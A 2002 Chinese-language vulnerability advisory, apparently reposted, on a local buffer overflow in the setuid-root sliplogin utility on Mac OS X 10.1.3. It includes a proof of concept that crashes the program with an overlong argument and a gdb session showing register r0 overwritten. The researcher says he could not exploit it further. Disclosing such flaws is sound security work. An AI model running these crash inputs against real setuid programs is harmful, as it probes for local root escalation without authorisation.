MacOS X Sliplogin本地缓冲区溢出漏洞

发布日期：2002-05-18
更新日期：2002-05-24

受影响系统：

Apple Mac OS X 10.1.3

描述：

---

BUGTRAQ ID: 4769

sliplogin是一款MacOS X操作系统下拨号相关的工具。

sliplogin对用户提交的参数缺少正确充分的缓冲区边界检查，可导致本地攻击者以root权限执行任意指令。

攻击者可以提交包含超长字符串的数据作为参数提交给sliplogin，可导致程序出现缓冲区溢出，由于sliplogin默认在系统中以setuid root属性安装，精心构建字符串数据可以使攻击者以root权限执行任意指令。


<*来源：Kevin Finisterre （dotslash@snosoft.com）

链接：http://www.securitytracker.com/alerts/2002/May/1004317.html
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Kevin Finisterre （dotslash@snosoft.com）提供了如下测试方法：

Osx version 10.1.3

[localhost:~] elguapo% ls -al /usr/sbin/sliplogin
-r-sr-xr-x 1 root wheel 14700 Dec 8 10:49 /usr/sbin/sliplogin

[localhost:~] elguapo% sliplogin `perl -e 'print "A" x 9000'`
Bus error

[localhost:~] elguapo% uname -a
Darwin localhost 5.3 Darwin Kernel Version 5.3: Thu Jan 24 22:06:02 PST
2002; root:xnu/xnu-201.19.obj~1/RELEASE_PPC Power Macintosh powerpc

[localhost:~] elguapo% id
uid=501(elguapo) gid=20(staff) groups=20(staff), 0(wheel), 80(admin)
[localhost:~] elguapo% ls -al /usr/sbin/sliplogin
-r-sr-xr-x 1 root wheel 14700 Dec 8 10:49 /usr/sbin/sliplogin
[localhost:~] elguapo% gdb /usr/sbin/sliplogin
GNU gdb 5.0-20001113 (Apple version gdb-203) (Wed Nov 7 16:28:57 GMT
2001) (UI_OUT)
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "powerpc-apple-macos10".
Reading symbols for shared libraries .. done
(gdb) r `perl -e 'print "A" x 1476'`
Starting program: /usr/sbin/sliplogin `perl -e 'print "A" x 1477'`
[Switching to thread 1 (process 339 thread 0x1603)]

Program received signal EXC_BAD_ACCESS, Could not access memory.
0x70004c88 in strcpy ()
(gdb) bt
#0 0x70004c88 in strcpy ()
#1 0x00001bd4 in ?? ()
#2 0x00002278 in ?? ()
#3 0x00001af4 in ?? ()
#4 0x00001924 in ?? ()

I have not been able to accomplish anything short of overwriting r0 with
41.
If the sc command gets called you could control the next syscall by
changing
the value in r0. I personally can do nothing with it...

(gdb) r `perl -e 'print "A" x 1478'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/sbin/sliplogin `perl -e 'print "A" x 1478'`
[Switching to thread 1 (process 351 thread 0x1c07)]

Program received signal EXC_BAD_ACCESS, Could not access memory.
0x70004c88 in strcpy ()
(gdb) i r
r0 0x41 65



建议：

---

临时解决方法：



厂商补丁：

Apple
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.mac.com/

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有